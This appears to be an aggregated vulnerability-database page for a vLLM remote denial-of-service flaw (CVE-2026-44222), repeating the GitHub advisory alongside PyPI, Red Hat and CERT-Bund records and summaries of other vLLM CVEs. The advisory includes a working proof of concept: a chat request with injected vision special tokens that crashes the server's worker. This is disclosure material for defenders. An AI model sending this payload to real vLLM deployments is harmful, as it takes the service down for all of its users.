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CVE-2026-44222 (GCVE-0-2026-44222)
Vulnerability from cvelistv5 – Published: 2026-05-12 19:57 – Updated: 2026-05-13 12:24- CWE-129 - Improper Validation of Array Index
| URL | Tags |
|---|---|
| https://github.com/vllm-project/vllm/security/adv… | x_refsource_CONFIRM |
| https://github.com/vllm-project/vllm/issues/32656 | x_refsource_MISC |
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| vllm-project | vllm |
Affected:
>= 0.6.1, < 0.20.0
|
guessed |
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FKIE_CVE-2026-44222
Vulnerability from fkie_nvd - Published: 2026-05-12 20:16 - Updated: 2026-06-17 10:507.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/vllm-project/vllm/issues/32656 | Issue Tracking | |
| security-advisories@github.com | https://github.com/vllm-project/vllm/security/advisories/GHSA-hpv8-x276-m59f | Exploit, Vendor Advisory |
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GHSA-HPV8-X276-M59F
Vulnerability from github – Published: 2026-05-05 22:21 – Updated: 2026-07-17 16:21Summary
This report explains a Token Injection vulnerability in vLLM’s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on image_grid_thw/video_grid_thw are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.
Details
- Affected component: multimodal input position computation.
- File/functions (paths are indicative):
- vllm/model_executor/layers/rotary_embedding.py
- get_input_positions_tensor(...)
- _vl_get_input_positions_tensor(...)
- Failure mechanism:
- The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly.
- When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.
Representative snippet (context):
# vllm/model_executor/layers/rotary_embedding.py
@classmethod
def _vl_get_input_positions_tensor(
cls,
input_tokens,
hf_config,
image_grid_thw,
video_grid_thw,
...,
):
# detect video tokens
video_nums = (vision_tokens == video_token_id).sum()
# later in processing
t, h, w = (
video_grid_thw[video_index][0], # IndexError if no video data
video_grid_thw[video_index][1],
video_grid_thw[video_index][2],
)
Abbreviated call path:
OpenAI API request
→ vllm.v1.engine.core: step/execute_model
→ vllm.v1.worker.gpu_model_runner: _update_states/execute_model
→ vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor
→ _vl_get_input_positions_tensor
→ IndexError: list index out of range
PoC
Environment
- vLLM: 0.10.0
- Model: Qwen/Qwen2.5-VL-3B-Instruct
- Launch server:
python -m vllm.entrypoints.openai.api_server \
--model Qwen/Qwen2.5-VL-3B-Instruct \
--port 8000
Request (text-only, no image/video data)
cat > request.json <<'JSON'
{
"model": "Qwen/Qwen2.5-VL-3B-Instruct",
"messages": [
{
"role": "user",
"content": [
{ "type": "text",
"text": "what's in picture <|vision_start|><|image_pad|><|vision_end|>" }
]
}
]
}
JSON
curl -s http://127.0.0.1:8000/v1/chat/completions \
-H 'Content-Type: application/json' \
--data @request.json
Observed result
- HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...).
- In some deployments, the worker exits and capacity remains reduced until manual restart.
Impact
- Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.
- Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).
- Effect: Request → unhandled exception in position computation → worker termination / service unavailability.
Fixes
- Changes associated with https://github.com/vllm-project/vllm/issues/32656
Credits
Pengyu Ding (Infra Security, Ant Group)
Ziteng Xu (Infra Security, Ant Group)
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"severity": "MODERATE"
},
"details": "## Summary\nThis report explains a Token Injection vulnerability in vLLM\u2019s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on `image_grid_thw`/`video_grid_thw` are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.\n\n## Details\n- Affected component: multimodal input position computation.\n- File/functions (paths are indicative):\n - vllm/model_executor/layers/rotary_embedding.py\n - get_input_positions_tensor(...)\n - _vl_get_input_positions_tensor(...)\n- Failure mechanism:\n - The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly.\n - When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.\n\nRepresentative snippet (context):\n```python\n# vllm/model_executor/layers/rotary_embedding.py\n@classmethod\ndef _vl_get_input_positions_tensor(\n cls,\n input_tokens,\n hf_config,\n image_grid_thw,\n video_grid_thw,\n ...,\n):\n # detect video tokens\n video_nums = (vision_tokens == video_token_id).sum()\n # later in processing\n t, h, w = (\n video_grid_thw[video_index][0], # IndexError if no video data\n video_grid_thw[video_index][1],\n video_grid_thw[video_index][2],\n )\n```\n\nAbbreviated call path:\n```\nOpenAI API request\n \u2192 vllm.v1.engine.core: step/execute_model\n \u2192 vllm.v1.worker.gpu_model_runner: _update_states/execute_model\n \u2192 vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor\n \u2192 _vl_get_input_positions_tensor\n \u2192 IndexError: list index out of range\n```\n\n## PoC\n### Environment\n- vLLM: 0.10.0\n- Model: Qwen/Qwen2.5-VL-3B-Instruct\n- Launch server:\n```bash\npython -m vllm.entrypoints.openai.api_server \\\n --model Qwen/Qwen2.5-VL-3B-Instruct \\\n --port 8000\n```\n\n### Request (text-only, no image/video data)\n```bash\ncat \u003e request.json \u003c\u003c\u0027JSON\u0027\n{\n \"model\": \"Qwen/Qwen2.5-VL-3B-Instruct\",\n \"messages\": [\n {\n \"role\": \"user\",\n \"content\": [\n { \"type\": \"text\",\n \"text\": \"what\u0027s in picture \u003c|vision_start|\u003e\u003c|image_pad|\u003e\u003c|vision_end|\u003e\" }\n ]\n }\n ]\n}\nJSON\n\ncurl -s http://127.0.0.1:8000/v1/chat/completions \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data @request.json\n```\n\n### Observed result\n- HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...).\n- In some deployments, the worker exits and capacity remains reduced until manual restart.\n\n## Impact\n- Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.\n- Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).\n- Effect: Request \u2192 unhandled exception in position computation \u2192 worker termination / service unavailability.\n\n## Fixes\n\n* Changes associated with https://github.com/vllm-project/vllm/issues/32656\n\n## Credits\nPengyu Ding (Infra Security, Ant Group) \nZiteng Xu (Infra Security, Ant Group)",
"id": "GHSA-hpv8-x276-m59f",
"modified": "2026-07-17T16:21:19Z",
"published": "2026-05-05T22:21:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-hpv8-x276-m59f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44222"
},
{
"type": "WEB",
"url": "https://github.com/vllm-project/vllm/issues/32656"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-hpv8-x276-m59f"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-3409.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/vllm-project/vllm"
},
{
"type": "WEB",
"url": "https://pypi.org/project/vllm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "vLLM Vulnerable to Remote DoS via Special-Token Placeholders"
}
PYSEC-2026-3409
Vulnerability from pysec - Published: 2026-07-13 15:15 - Updated: 2026-07-13 16:07Summary
This report explains a Token Injection vulnerability in vLLM’s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on image_grid_thw/video_grid_thw are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.
Details
- Affected component: multimodal input position computation.
- File/functions (paths are indicative):
- vllm/model_executor/layers/rotary_embedding.py
- get_input_positions_tensor(...)
- _vl_get_input_positions_tensor(...)
- Failure mechanism:
- The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly.
- When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.
Representative snippet (context):
# vllm/model_executor/layers/rotary_embedding.py
@classmethod
def _vl_get_input_positions_tensor(
cls,
input_tokens,
hf_config,
image_grid_thw,
video_grid_thw,
...,
):
# detect video tokens
video_nums = (vision_tokens == video_token_id).sum()
# later in processing
t, h, w = (
video_grid_thw[video_index][0], # IndexError if no video data
video_grid_thw[video_index][1],
video_grid_thw[video_index][2],
)
Abbreviated call path:
OpenAI API request
→ vllm.v1.engine.core: step/execute_model
→ vllm.v1.worker.gpu_model_runner: _update_states/execute_model
→ vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor
→ _vl_get_input_positions_tensor
→ IndexError: list index out of range
PoC
Environment
- vLLM: 0.10.0
- Model: Qwen/Qwen2.5-VL-3B-Instruct
- Launch server:
python -m vllm.entrypoints.openai.api_server \
--model Qwen/Qwen2.5-VL-3B-Instruct \
--port 8000
Request (text-only, no image/video data)
cat > request.json <<'JSON'
{
"model": "Qwen/Qwen2.5-VL-3B-Instruct",
"messages": [
{
"role": "user",
"content": [
{ "type": "text",
"text": "what's in picture <|vision_start|><|image_pad|><|vision_end|>" }
]
}
]
}
JSON
curl -s http://127.0.0.1:8000/v1/chat/completions \
-H 'Content-Type: application/json' \
--data @request.json
Observed result
- HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...).
- In some deployments, the worker exits and capacity remains reduced until manual restart.
Impact
- Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.
- Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).
- Effect: Request → unhandled exception in position computation → worker termination / service unavailability.
Fixes
- Changes associated with https://github.com/vllm-project/vllm/issues/32656
Credits
Pengyu Ding (Infra Security, Ant Group)
Ziteng Xu (Infra Security, Ant Group)
| Name | purl | vllm | pkg:pypi/vllm |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "vllm",
"purl": "pkg:pypi/vllm"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.1"
},
{
"fixed": "0.20.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
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"0.10.1",
"0.10.1.1",
"0.10.2",
"0.11.0",
"0.11.1",
"0.11.2",
"0.12.0",
"0.13.0",
"0.14.0",
"0.14.1",
"0.15.0",
"0.15.1",
"0.16.0",
"0.17.0",
"0.17.1",
"0.18.0",
"0.18.1",
"0.19.0",
"0.19.1",
"0.6.1",
"0.6.1.post1",
"0.6.1.post2",
"0.6.2",
"0.6.3",
"0.6.3.post1",
"0.6.4",
"0.6.4.post1",
"0.6.5",
"0.6.6",
"0.6.6.post1",
"0.7.0",
"0.7.1",
"0.7.2",
"0.7.3",
"0.8.0",
"0.8.1",
"0.8.2",
"0.8.3",
"0.8.4",
"0.8.5",
"0.8.5.post1",
"0.9.0",
"0.9.0.1",
"0.9.1",
"0.9.2"
]
}
],
"aliases": [
"CVE-2026-44222",
"GHSA-hpv8-x276-m59f"
],
"details": "## Summary\nThis report explains a Token Injection vulnerability in vLLM\u2019s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on `image_grid_thw`/`video_grid_thw` are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.\n\n## Details\n- Affected component: multimodal input position computation.\n- File/functions (paths are indicative):\n - vllm/model_executor/layers/rotary_embedding.py\n - get_input_positions_tensor(...)\n - _vl_get_input_positions_tensor(...)\n- Failure mechanism:\n - The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly.\n - When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.\n\nRepresentative snippet (context):\n```python\n# vllm/model_executor/layers/rotary_embedding.py\n@classmethod\ndef _vl_get_input_positions_tensor(\n cls,\n input_tokens,\n hf_config,\n image_grid_thw,\n video_grid_thw,\n ...,\n):\n # detect video tokens\n video_nums = (vision_tokens == video_token_id).sum()\n # later in processing\n t, h, w = (\n video_grid_thw[video_index][0], # IndexError if no video data\n video_grid_thw[video_index][1],\n video_grid_thw[video_index][2],\n )\n```\n\nAbbreviated call path:\n```\nOpenAI API request\n \u2192 vllm.v1.engine.core: step/execute_model\n \u2192 vllm.v1.worker.gpu_model_runner: _update_states/execute_model\n \u2192 vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor\n \u2192 _vl_get_input_positions_tensor\n \u2192 IndexError: list index out of range\n```\n\n## PoC\n### Environment\n- vLLM: 0.10.0\n- Model: Qwen/Qwen2.5-VL-3B-Instruct\n- Launch server:\n```bash\npython -m vllm.entrypoints.openai.api_server \\\n --model Qwen/Qwen2.5-VL-3B-Instruct \\\n --port 8000\n```\n\n### Request (text-only, no image/video data)\n```bash\ncat \u003e request.json \u003c\u003c\u0027JSON\u0027\n{\n \"model\": \"Qwen/Qwen2.5-VL-3B-Instruct\",\n \"messages\": [\n {\n \"role\": \"user\",\n \"content\": [\n { \"type\": \"text\",\n \"text\": \"what\u0027s in picture \u003c|vision_start|\u003e\u003c|image_pad|\u003e\u003c|vision_end|\u003e\" }\n ]\n }\n ]\n}\nJSON\n\ncurl -s http://127.0.0.1:8000/v1/chat/completions \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data @request.json\n```\n\n### Observed result\n- HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...).\n- In some deployments, the worker exits and capacity remains reduced until manual restart.\n\n## Impact\n- Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.\n- Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).\n- Effect: Request \u2192 unhandled exception in position computation \u2192 worker termination / service unavailability.\n\n## Fixes\n\n* Changes associated with https://github.com/vllm-project/vllm/issues/32656\n\n## Credits\nPengyu Ding (Infra Security, Ant Group) \nZiteng Xu (Infra Security, Ant Group)",
"id": "PYSEC-2026-3409",
"modified": "2026-07-13T16:07:26.276917Z",
"published": "2026-07-13T15:15:38.697452Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-hpv8-x276-m59f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44222"
},
{
"type": "WEB",
"url": "https://github.com/vllm-project/vllm/issues/32656"
},
{
"type": "PACKAGE",
"url": "https://github.com/vllm-project/vllm"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/vllm"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-hpv8-x276-m59f"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "vLLM Vulnerable to Remote DoS via Special-Token Placeholders"
}
RHSA-2026:60363
Vulnerability from csaf_redhat - Published: 2026-08-26 16:25 - Updated: 2026-08-26 16:44A flaw was found in vLLM, an inference and serving engine for large language models (LLMs). This vulnerability allows unauthenticated attackers to cause a Denial of Service (DoS) by supplying image or video placeholder sequences without matching data, leading to an unhandled error and worker termination. Additionally, text-only prompts containing special tokens can be misinterpreted as control commands, potentially leading to unexpected behavior.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.3:registry.redhat.io/rhaiis/vllm-spyre-rhel9@sha256:590f1bb37f9c9abb51a6ff7f557b45f1dcfba2e4880de979290703c2e6de95be_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.3:registry.redhat.io/rhaiis/vllm-spyre-rhel9@sha256:e54618292d1e6f1c9c959a42160bad3a153ca7e050665739d3ddd9dbfda541f8_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.3:registry.redhat.io/rhaiis/vllm-spyre-rhel9@sha256:f3dfb688e524f44f071f20954e454a91013a9c48f8cc59a32f7f402bb61d8ed0_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in vLLM, an inference and serving engine for large language models (LLMs). The revision pinning controls in vLLM do not consistently apply to all artifacts loaded for a model. This allows a deployment configured with specific revisions to still load dynamic code or other configuration files from an unpinned or default revision. This issue can lead to a supply-chain integrity compromise, where operators may unknowingly serve models with unreviewed or unintended behavior.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.3:registry.redhat.io/rhaiis/vllm-spyre-rhel9@sha256:590f1bb37f9c9abb51a6ff7f557b45f1dcfba2e4880de979290703c2e6de95be_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.3:registry.redhat.io/rhaiis/vllm-spyre-rhel9@sha256:e54618292d1e6f1c9c959a42160bad3a153ca7e050665739d3ddd9dbfda541f8_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.3:registry.redhat.io/rhaiis/vllm-spyre-rhel9@sha256:f3dfb688e524f44f071f20954e454a91013a9c48f8cc59a32f7f402bb61d8ed0_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in vLLM. Integer truncation of tensor dimensions in vLLM's GGUF dequantize kernels leads to partial tensor processing. This results in the output tensor retaining previously used GPU memory, which, in multi-tenant inference deployments, can expose sensitive tensor data from other users' requests. This constitutes an information disclosure vulnerability.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.3:registry.redhat.io/rhaiis/vllm-spyre-rhel9@sha256:590f1bb37f9c9abb51a6ff7f557b45f1dcfba2e4880de979290703c2e6de95be_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.3:registry.redhat.io/rhaiis/vllm-spyre-rhel9@sha256:e54618292d1e6f1c9c959a42160bad3a153ca7e050665739d3ddd9dbfda541f8_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.3:registry.redhat.io/rhaiis/vllm-spyre-rhel9@sha256:f3dfb688e524f44f071f20954e454a91013a9c48f8cc59a32f7f402bb61d8ed0_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in vLLM, a high-throughput and memory-efficient inference and serving engine for Large Language Models (LLMs). A remote attacker can exploit this vulnerability by sending a specially crafted multi-request speculative decoding workload through public gRPC Generate and Abort endpoints. This malformed workload can cause the rejection sampler to produce an out-of-vocabulary token, which then crashes the engine worker. This leads to a service-wide Denial of Service (DoS) for all clients until the worker is restarted.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.3:registry.redhat.io/rhaiis/vllm-spyre-rhel9@sha256:590f1bb37f9c9abb51a6ff7f557b45f1dcfba2e4880de979290703c2e6de95be_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.3:registry.redhat.io/rhaiis/vllm-spyre-rhel9@sha256:e54618292d1e6f1c9c959a42160bad3a153ca7e050665739d3ddd9dbfda541f8_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.3:registry.redhat.io/rhaiis/vllm-spyre-rhel9@sha256:f3dfb688e524f44f071f20954e454a91013a9c48f8cc59a32f7f402bb61d8ed0_amd64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in vLLM, a high-throughput and memory-efficient inference and serving engine for large language models (LLMs). A remote attacker could exploit this vulnerability by providing a specially crafted regular expression to the structured_outputs.regex API parameter. This adversarial regex, containing nested quantifiers, can cause an exponential expansion of the state-space in the grammar compiler, leading to an inference worker hanging indefinitely. This results in a Denial of Service (DoS) for the affected system.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.3:registry.redhat.io/rhaiis/vllm-spyre-rhel9@sha256:590f1bb37f9c9abb51a6ff7f557b45f1dcfba2e4880de979290703c2e6de95be_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.3:registry.redhat.io/rhaiis/vllm-spyre-rhel9@sha256:e54618292d1e6f1c9c959a42160bad3a153ca7e050665739d3ddd9dbfda541f8_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.3:registry.redhat.io/rhaiis/vllm-spyre-rhel9@sha256:f3dfb688e524f44f071f20954e454a91013a9c48f8cc59a32f7f402bb61d8ed0_amd64 | — |
Vendor Fix
fix
Workaround
|
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{
"category": "description",
"text": "A flaw was found in vLLM. Integer truncation of tensor dimensions in vLLM\u0027s GGUF dequantize kernels leads to partial tensor processing. This results in the output tensor retaining previously used GPU memory, which, in multi-tenant inference deployments, can expose sensitive tensor data from other users\u0027 requests. This constitutes an information disclosure vulnerability.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "vllm: vLLM: Information disclosure via integer truncation",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Red Hat rates this issue as having Low impact for Red Hat AI products. The upstream issue is limited information disclosure via integer truncation in vLLM sampling parameters. Red Hat OpenShift AI, Red Hat AI Inference Server, and Red Hat Enterprise Linux AI images are not considered affected because untrusted clients cannot control the vulnerable parameters in supported deployment models.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
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"summary": "Canonical URL",
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},
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"category": "external",
"summary": "RHBZ#2491579",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491579"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-53923",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53923"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-53923",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53923"
},
{
"category": "external",
"summary": "https://github.com/vllm-project/vllm/commit/f219788f91952827132fa4fdf916427cd20d225e",
"url": "https://github.com/vllm-project/vllm/commit/f219788f91952827132fa4fdf916427cd20d225e"
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{
"category": "external",
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"url": "https://github.com/vllm-project/vllm/pull/44971"
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"category": "external",
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"url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-5jv2-g5wq-cmr4"
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"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
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"title": "vllm: vLLM: Information disclosure via integer truncation"
},
{
"cve": "CVE-2026-54234",
"cwe": {
"id": "CWE-125",
"name": "Out-of-bounds Read"
},
"discovery_date": "2026-07-06T21:01:59.789808+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2497515"
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{
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"text": "A flaw was found in vLLM, a high-throughput and memory-efficient inference and serving engine for Large Language Models (LLMs). A remote attacker can exploit this vulnerability by sending a specially crafted multi-request speculative decoding workload through public gRPC Generate and Abort endpoints. This malformed workload can cause the rejection sampler to produce an out-of-vocabulary token, which then crashes the engine worker. This leads to a service-wide Denial of Service (DoS) for all clients until the worker is restarted.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "vllm: vLLM: Denial of Service via malformed speculative decoding workload",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important denial of service flaw in vLLM, utilized by Red Hat AI Inference Server, Red Hat Enterprise Linux AI, and Red Hat OpenShift AI, allows a remote attacker to crash the engine worker. By sending a specially crafted multi-request speculative decoding workload to public gRPC endpoints, an attacker can trigger an out-of-vocabulary token, leading to a service-wide disruption for all connected clients.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
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{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-54234",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54234"
},
{
"category": "external",
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54234"
},
{
"category": "external",
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"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
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"title": "vllm: vLLM: Denial of Service via malformed speculative decoding workload"
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{
"cve": "CVE-2026-55574",
"cwe": {
"id": "CWE-1333",
"name": "Inefficient Regular Expression Complexity"
},
"discovery_date": "2026-07-06T21:01:40.112117+00:00",
"ids": [
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"text": "A flaw was found in vLLM, a high-throughput and memory-efficient inference and serving engine for large language models (LLMs). A remote attacker could exploit this vulnerability by providing a specially crafted regular expression to the structured_outputs.regex API parameter. This adversarial regex, containing nested quantifiers, can cause an exponential expansion of the state-space in the grammar compiler, leading to an inference worker hanging indefinitely. This results in a Denial of Service (DoS) for the affected system.",
"title": "Vulnerability description"
},
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"title": "Vulnerability summary"
},
{
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"text": "An Important denial of service vulnerability exists in vLLM, as utilized within Red Hat AI Inference Server and Red Hat OpenShift AI. This flaw allows a remote, unauthenticated attacker to cause an inference worker to hang indefinitely by submitting a specially crafted regular expression to the structured outputs API. The absence of complexity analysis for nested quantifiers in the regex compiler leads to an exponential state-space expansion, resulting in prolonged service disruption.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
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}
]
}
WID-SEC-W-2026-1364
Vulnerability from csaf_certbund - Published: 2026-05-05 22:00 - Updated: 2026-05-12 22:00| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source vllm <0.20.0
Open Source / vllm
|
<0.20.0 |
{
"document": {
"aggregate_severity": {
"text": "mittel"
},
"category": "csaf_base",
"csaf_version": "2.0",
"distribution": {
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "de-DE",
"notes": [
{
"category": "legal_disclaimer",
"text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
},
{
"category": "description",
"text": "Open Source vLLM ist eine Open-Source-Bibliothek f\u00fcr schnelle und effiziente Inferenz von Large Language Models (LLMs).",
"title": "Produktbeschreibung"
},
{
"category": "summary",
"text": "Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in vllm ausnutzen, um einen Denial of Service Angriff durchzuf\u00fchren.",
"title": "Angriff"
},
{
"category": "general",
"text": "- Linux\n- UNIX",
"title": "Betroffene Betriebssysteme"
}
],
"publisher": {
"category": "other",
"contact_details": "csaf-provider@cert-bund.de",
"name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
"namespace": "https://www.bsi.bund.de"
},
"references": [
{
"category": "self",
"summary": "WID-SEC-W-2026-1364 - CSAF Version",
"url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-1364.json"
},
{
"category": "self",
"summary": "WID-SEC-2026-1364 - Portal Version",
"url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1364"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-hpv8-x276-m59f vom 2026-05-05",
"url": "https://github.com/advisories/GHSA-hpv8-x276-m59f"
}
],
"source_lang": "en-US",
"title": "vllm: Schwachstelle erm\u00f6glicht Denial of Service",
"tracking": {
"current_release_date": "2026-05-12T22:00:00.000+00:00",
"generator": {
"date": "2026-05-13T07:47:31.673+00:00",
"engine": {
"name": "BSI-WID",
"version": "1.5.0"
}
},
"id": "WID-SEC-W-2026-1364",
"initial_release_date": "2026-05-05T22:00:00.000+00:00",
"revision_history": [
{
"date": "2026-05-05T22:00:00.000+00:00",
"number": "1",
"summary": "Initiale Fassung"
},
{
"date": "2026-05-12T22:00:00.000+00:00",
"number": "2",
"summary": "Referenz(en) aufgenommen: EUVD-2026-29799"
}
],
"status": "final",
"version": "2"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "\u003c0.20.0",
"product": {
"name": "Open Source vllm \u003c0.20.0",
"product_id": "T053545"
}
},
{
"category": "product_version",
"name": "0.20.0",
"product": {
"name": "Open Source vllm 0.20.0",
"product_id": "T053545-fixed",
"product_identification_helper": {
"cpe": "cpe:/a:vllm:vllm:0.20.0"
}
}
}
],
"category": "product_name",
